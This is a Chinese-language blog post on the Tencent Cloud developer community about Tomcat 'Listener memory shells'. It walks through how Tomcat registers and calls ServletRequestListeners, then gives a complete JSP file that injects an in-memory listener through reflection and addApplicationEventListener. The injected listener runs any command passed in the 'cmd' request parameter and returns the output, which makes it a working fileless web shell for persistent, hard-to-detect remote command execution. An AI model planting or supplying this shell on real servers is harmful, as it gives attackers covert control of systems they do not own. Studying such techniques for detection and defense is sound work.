前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >初探Listener内存马

初探Listener内存马

原创
作者头像
红队蓝军
发布2022-04-06 12:07:56
3740
发布2022-04-06 12:07:56
举报
文章被收录于专栏:红队蓝军

配置Listener

代码语言:javascript
复制
package com.naihe2;
​
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
​
public class testListener implements ServletRequestListener {
​
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("这里是requestDestroyed");
    }
​
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("这里是requestInitialized");
    }
}

xml配置

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>
​
    <listener>
        <listener-class>com.naihe2.testListener</listener-class>
    </listener>
​
</web-app>

读取配置文件:

读取web.xml,处理后将信息存储在webXml中

配置context

直接遍历并添加至addApplication中

以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener

接下来直接跟进到listenerStart 获取所有listeners

反射生成了一个testListener对象,及我们自定义的Listener

遍历results中的自定义Listener并添加到eventListeners

将eventListeners中的内容添加到applicationEventListenersList属性中,而后期tomcat使用Listener会从applicationEventListenersList中取出

调用过程: 在自定义的Listener的requestDestroyed下断点

可以发现tomcat会自动调用fireRequestDestroyEvent,因此我们进入fireRequestDestroyEvent

这里直接获取applicationEventListenersList属性

遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型

这里直接调用 requestDestroyed方法

对应这自定义的Listener

接下来如何动态添加Listener 在上面分析,tomcat是将web.xml中的信息取出在调用 addApplication,将信息添加至applicationListeners,然后再由listenerStart反射生成实例化的Listener,并在需要调用前调用fireRequestDestroyEvent,在间接调用 requestDestroyed方法,但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路,StandardContext提供了另一个方法 addApplicationEventListener,可以直接添加一个Lisener对象到applicationEventListenersList

由于ServletRequestEvent至提供了ServletRequest,并没有提供Response,因此需要通过反射获取 Response

代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>
​
<%!
    public class DemoListener implements ServletRequestListener{
​
        public void requestDestroyed(ServletRequestEvent sre) {
            org.apache.catalina.connector.RequestFacade req = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
            Field requestField = null;
            try {
                requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            requestField.setAccessible(true);
            Request request = null;
            try {
                request = (Request) requestField.get(req);
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
            Response response = request.getResponse();
​
            try {
                String cmd = request.getParameter("cmd");
                InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bis = new BufferedInputStream(is);
                int len;
                while ((len = bis.read())!=-1){
                    response.getWriter().write(len);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
​
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("这里是requestInitialized");
        }
    }
%>
​
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    DemoListener listener = new DemoListener();
    context.addApplicationEventListener(listener);
%>
</body>
</html>

随便访问一个页面

在访问我们的内存马网页 这里我由于代码没有判断cmd是否为空,所以必须输入东西才能正常访问,你懂的

再次访问之前不存在的网页

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档